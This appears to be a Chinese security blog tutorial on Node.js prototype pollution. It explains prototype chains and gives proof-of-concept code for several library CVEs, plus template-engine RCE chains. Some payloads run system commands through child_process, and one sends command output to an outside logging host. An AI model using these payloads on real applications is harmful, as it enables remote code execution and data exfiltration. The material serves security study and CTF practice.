nodejs原型链污染

0x00 原型链与原型链继承

原型链

原型链污染(prototype pollution)是js独有的安全问题,其原因主要是因为js中几乎所有类的所有属性都可以公开访问和修改,通过修改多个可控变量去覆盖__proto__属性即可污染其它类,即如果能够控制并修改一个对象的原型,就可以影响到所有和这个对象同一个原型的对象。

原型链污染发生的两个场景是:

  • 不安全的对象递归合并
  • 按路径定义属性

在js中每个实例对象object都有个原型对象,原型对象又有对应的原型对象,以此类推可构成原型链,层层向上知道第一个原型对象为null。

要访问一个实例对象的原型对象,有以下方式:

1
2
3
4
5
objectname.[[prototype]]
objectname.prototype
objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype

在定义类构造函数的时候,有一个预定义属性prototype,他就是一个原型对象。在实例化对象的时候会生成一个属性__proto__,它所指向的便是这个对象构造函数的prototype,例如

1
2
3
4
5
6
7
8
9
10
11
12
13
function Class1(){
this.var = null
}
function Class2(){
this.var = null
}

//将Class2的原型指向Class1
Class2.prototype = Class1
let obj = new Class2()

//打印Class1
console.log(`${obj.__proto__}`)

原型链继承

类在实例化的时候会拥有类自身prototype中的属性和方法,即object会继承其__proto__属性指向的原型对象的属性和方法,例如

1
2
3
4
5
6
7
8
9
10
11
12
13
function Father(){
this.last_name = "time"
}

function Son(){
this.first_name = "spring"
}

Son.prototype = new Father();
let son = new Son();
//打印Name:spring time
console.log(`Name:${son.first_name} ${son.last_name}`)

在输出last_name时,由于Son中没有此属性,于是到其原型对象son.__proto__,也就是Father实例中寻找,如果依然没找到,那么就继续到son.__proto__.__proto__寻找,直到找到为止,未找到返回undefined

至此总结出几个要点:

  • 每个构造函数(constructor)都有一个原型对象(prototype)
  • 对象的__proto__属性,指向类的原型对象prototype
  • JavaScript使用prototype链实现继承机制

0x01 原型链污染

首先是json语法的一些规则:

  • 数据在名称/值对中
  • 数据由逗号分隔
  • 花括号容纳对象
  • 方括号容纳数组

JSON键/值对由键和值组成,键必须是字符串,值可以是字符串(string)、数值(number) 、对象(object)、数组(array)、true、false、null。

例如

1
2
3
var object = {
'a': [{ 'key1': 2 }, { 'key2': 4 }]
};

首先看一个语句

1
object[a][b] = value

如果我们能同时控制a、b、value的值,将a设置为__proto__,那么就可以给object的原型ProtoClass设置一个值为value的属性b,即使原型中没有b属性也可以添加进去,与此同时所有原型链中含有ProtoClass的对象也将增加属性b,这就是原型链污染

0x02 merge引发的污染

example

一个简单的例子

1
2
3
4
5
6
7
8
9
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

merge函数对数组的键名进行了递归合并操作,注意target[key] = source[key],如果我们能控制键名source__proto__,同时利用target为其赋值,就可以为source的原型对象添加属性实现污染。

1
2
3
4
5
6
7
8
9
10
11
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

//输出
//1 2
//2

可见o3被成功污染,实际上由于o1、o2、o3原型类统一,它们都会拥有属性b。

注意如果令b等于{a: 1, "__proto__": {b: 2}},那么对b的键名进行遍历的时候就会忽略__proto__不会把它看作键名,因为__proto__被看作是原型了,所以遍历后的键名是a、b。

因此为了使__proto__被解析为键名,我们需要配合JSON.parse。

merge.recursiveMerge

漏洞编号CVE-2020-28499,poc如下,需要引入merge@2.1.0(ver<2.1.1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const merge = require('merge');

const payload2 = JSON.parse('{"x": {"__proto__":{"polluted":"yes"}}}');

let obj1 = {x: {y:1}};

console.log("Before : " + obj1.polluted);
merge.recursive(obj1, payload2);
console.log("After : " + obj1.polluted);
console.log("After : " + {}.polluted);

//输出
//Before : undefined
//After : yes
//After : yes

调试过程中发现调用链是recursive -> _merge -> _recursiveMerge,而_recursiveMerge中存在递归合并:

1
2
3
4
5
6
7
8
9
function _recursiveMerge(base, extend) {
if (!isPlainObject(base))
return extend;
for (var key in extend)
base[key] = (isPlainObject(base[key]) && isPlainObject(extend[key])) ?
_recursiveMerge(base[key], extend[key]) :
extend[key];
return base;
}

值得注意的是_merge方法有一处过滤,过滤了一些关键词

1
2
if (key === '__proto__' || key === 'constructor' || key === 'prototype')
continue;

但是检查的范围仅仅是key,我们再嵌套一层数组即可,也就是payload:{"x": {"__proto__":{"polluted":"yes"}}}

0x03 Lodash中的污染

lodash.defaultsDeep

漏洞编号CVE-2019-10744,需要引入lodash@4.17.11(ver<4.17.12),poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'

function check() {
mergeFn({}, JSON.parse(payload));
if (({})[`a0`] === true) {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
}
}

check();

console.log(Object.whoami);
//打印Vulnerable

lodash.merge

这里使用ver 4.17.4才好使。

与前面提到的merge相似,poc如下

1
2
3
4
5
6
7
var lodash= require('lodash');
var payload = '{"__proto__":{"polluted":"yes"}}';

var a = {};
console.log("Before polluted: " + a.polluted);
lodash.merge({}, JSON.parse(payload));
console.log("After polluted: " + a.polluted);

lodash.mergeWith

漏洞编号CVE-2018-16487,相比于merge增加了一个参数customizer,作用是控制合并方式,若customizer未定义则依然由merge替代,因此事实上它对我们的利用方式没有影响,poc不变

1
2
3
4
5
6
7
var lodash= require('lodash');
var payload = '{"__proto__":{"polluted":"yes"}}';

var a = {};
console.log("Before polluted: " + a.polluted);
lodash.merge({}, JSON.parse(payload));
console.log("After polluted: " + a.polluted);

lodash.set

修改指定path(对象属性)的value(值)

1
2
3
4
set(object, path, value)
//object (Object): 要修改的对象。
//path (Array|string): 要设置的对象路径。
//value (*): 要设置的值。

注意此方法会直接改变Object。例如给多层嵌套的属性c赋值

1
2
3
4
5
6
var lodash= require('lodash');
var object = { 'a': [{ 'b': { 'c': 3 } }] };
lodash.set(object, 'a[0].b.c', 4);
console.log(object.a[0].b.c);
//打印
//4

跟一下源码,首先set调了baseSet

1
2
3
function set(object, path, value) {
return object == null ? object : baseSet(object, path, value);
}

然后是castPath,stringToPath,最后也没有任何过滤,poc

1
2
3
4
5
6
7
8
9
10
11
12
var lodash= require('lodash');

var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}

console.log(object_1.whoami);
//lodash.set(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);
//打印
//undefined
//Vulnerable

lodash.setWith

与mergeWith类似,相比于set方法多一个customizer参数控制设置对象值的方式,不传入也不影响我们的利用。

1
2
3
4
5
6
7
8
9
var lodash= require('lodash');

var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}

console.log(object_1.whoami);
//lodash.setWith(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);

lodash.zipObjectDeep

漏洞编号CVE-2020-8203,影响版本ver<4.17.16

zipObjectDeep(props, values) ,props为属性路径,values是值,两者都为数组。

源码里给出了注释

1
2
_.zipObjectDeep(['a.b[0].c', 'a.b[1].d'], [1, 2]);  
// => { 'a': { 'b': [{ 'c': 1 }, { 'd': 2 }] } }

将两个对象合并成了一个数组,并完成赋值,左边数组的键值与右边数组的值一一对应。

那么如果我们传入单元素数组__proto__,就可以污染原型。

1
2
3
4
5
6
7
const _ = require('lodash');

_.zipObjectDeep(['__proto__.z'],[666])

console.log(z)
//打印
//666

0x04 Lodash RCE

注意lodash ver<=4.17.4。

lodash.template RCE

Lodash.template 是 Lodash 中的一个简单的模板引擎用于输出渲染,而template方法中的sourceURL存在拼接,关键代码如下

1
2
3
4
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});

如果我们能够污染sourceURL属性,将其赋值为xxx\r\n <code> \r\n就可实现命令注入,因此关键点在于原型链的污染。

注意Function中没有require方法,但我们可以使用global.process.mainModule.constructor._load来代替。

这里提供一道例题**[Code-Breaking 2018] Thejs**,源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
name: 'thejs.session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})

return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}

res.render('index', {
language: data.language,
category: data.category
})
})

app.listen(3000, () => console.log(`Example app listening on port 3000!`))

可以看到同时使用了Lodash.templateLodash.merge,merge方法在lodash漏洞版本内,因此我们就可以直接去污染

sourceURL实现RCE,以下是payload。

1
2
//执行并外带,设置type为json
{"__proto__":{"sourceURL":"xxx\r\nvar require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('id').toString();var req = require('http').request(`http://xxxxx.ceye.io/${result}`);req.end();\r\n"}}

lodash & ejs RCE

漏洞编号CVE-2022-29078,Nodejs 的 ejs 模板引擎存在一个利用原型污染进行 RCE 的一个漏洞。但要实现 RCE,首先需要有原型链污染,这里我们暂且使用 lodash.merge 方法中的原型链污染漏洞。

漏洞成因其实和lodash.template是一样的,都是变量存在拼接,同时配合merge污染。漏洞关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
//ejs.js compile方法
// ....
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
// ....
this.source = prepended + this.source + appended;
// ....
// source -> src
// ....
fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src); //此处执行

很明显污染outputFunctionName即可。

测试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var express = require('express');
var lodash = require('lodash');
var ejs = require('ejs');

var app = express();
//设置模板的位置与种类
app.set('views', __dirname);
app.set('views engine','ejs');

//对原型进行污染
var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
lodash.merge({}, JSON.parse(malicious_payload));

//进行渲染
app.get('/', function (req, res) {
res.render ("index.ejs",{
message: 'success'
});
});

//设置http
var server = app.listen(8000, function () {

var host = server.address().address
var port = server.address().port

console.log("应用实例,访问地址为 http://%s:%s", host, port)
});

运行后访问触发render函数渲染,即可RCE。

lodash & jade RCE

Nodejs 的 jade 模板引擎也存在一个利用原型污染进行 RCE 的一个漏洞。但要实现 RCE,首先需要有原型链污染,这里我们依然使用 lodash.merge 方法中的原型链污染漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var express = require('express');
var lodash= require('lodash');
var jade = require('jade');

var app = express();
//设置模板的位置与种类
app.set('views', __dirname);
app.set("view engine", "jade");

//对原型进行污染
var malicious_payload = '{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require(\'child_process\').execSync(\'calc\'))"}}';
lodash.merge({}, JSON.parse(malicious_payload));

//进行渲染
app.get('/', function (req, res) {
res.render ("index.jade",{
message: 'success'
});
});

//设置http
var server = app.listen(8000, function () {

var host = server.address().address
var port = server.address().port

console.log("应用实例,访问地址为 http://%s:%s", host, port)
});

0x05 Undefsafe 中的污染

Undefsafe模块是用来处理访问对象属性不存在时的报错问题,例如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
var a = require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'old_value'
}
}
};
console.log(object.a.c.e) //打印不存在的属性
//程序报错

console.log(a(object,'a.c.e'))
//undefined

console.log(a(object,'a.b.e','new_value'))
//new_value

当我们使用undefsafe时,程序就不会报错而是返回undefined,如果目标属性存在,那么undefsafe就可以修改属性的值。如果该属性不存在,我们依然想赋值,那么新的属性将创建在数组中的上一层。

1
2
3
a(object,'a.c.e','new_value')
console.log(object)
//{ a: { b: { c: 1, d: [Array], e: 'old_value' }, e: 'new_value' } }

漏洞编号CVE-2019-10795,ver < 2.0.3,poc如下

1
2
3
4
5
var a = require("undefsafe");
var test = {}
a(test,'__proto__.toString',function(){ return 'just a evil!'})
console.log('this is '+test)
// this is just a evil!

利用undefsafe对原型对象中的toString方法进行污染,再通过console.log触发,造成任意代码执行。

可见原型链污染不仅可以修改属性,也可以直接修改方法

1
2
3
4
5
var a = require("undefsafe");
var test = {}
a(test,'__proto__.toString',function(){ return global.process.mainModule.require('child_process').execSync('id').toString()})
console.log('this is '+test)
// this is uid=0(root) gid=0(root) groups=0(root)

0x06 safe-obj中的污染

lodash & safe-obj

漏洞编号CVE-2021-25928,safe-obj_ver_1.0.0~1.0.2,关键点在expand方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
expand: function (obj, path, thing) {
if (!path || typeof thing === 'undefined') {
return;
}
obj = isObject(obj) && obj !== null ? obj : {};
var props = path.split('.'); //先用 . 分割
if (props.length === 1) {
obj[props.shift()] = thing;
} else {
var prop = props.shift(); //shift()返回数组第一个元素
if (!(prop in obj)) {
obj[prop] = {};
}
_safe.expand(obj[prop], props.join('.'), thing);//递归调用expand,下一次满足props.length === 1
}
},

poc如下

1
2
3
4
5
6
7
var safeObj = require("safe-obj");
var obj = {};
console.log("Before : " + {}.polluted);
safeObj.expand(obj, '__proto__.polluted', 'Yes! Its Polluted');
console.log("After : " + {}.polluted);
//Before : undefined
//After : Yes! Its Polluted

lodash & safe-flat

漏洞编号CVE-2021-25927,safe-flat_ver_2.0.0~2.0.1,关键在于unflatten

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const unflatten = (obj, delimiter) => {
const result = {}
const seperator = delimiter || defaultDelimiter

if (typeof obj !== 'object' || isDate(obj)) return obj

const unflat = (original) => {
Object.keys(original).forEach((key) => {
const newKeys = key.split(seperator)
newKeys.reduce((o, k, i) => {
return o[k] || (o[k] = isNaN(Number(newKeys[i + 1])) ? (newKeys.length - 1 === i ? original[key] : {}) : [])
}, result)
})
}

unflat(obj)
return result
}

通读代码可以发现实际上unflatten就是指定seperator对obj进行分割并组成新的键值对最后赋值,利用起来也很方便

1
2
3
4
5
6
var safeFlat = require("safe-flat");
console.log("Before : " + {}.polluted);
safeFlat.unflatten({"__proto__.polluted": "Yes! Its Polluted"}, '.');
console.log("After : " + {}.polluted);
//Before : undefined
//After : Yes! Its Polluted

ref

关于Prototype Pollution Attack的二三事 - 先知社区 (aliyun.com)

https://xz.aliyun.com/t/7184

从 Lodash 原型链污染到模板 RCE-安全客 - 安全资讯平台 (anquanke.com)


nodejs原型链污染
http://example.com/2022/12/30/nodejs原型链污染/
Author
springtime
Posted on
December 30, 2022
Licensed under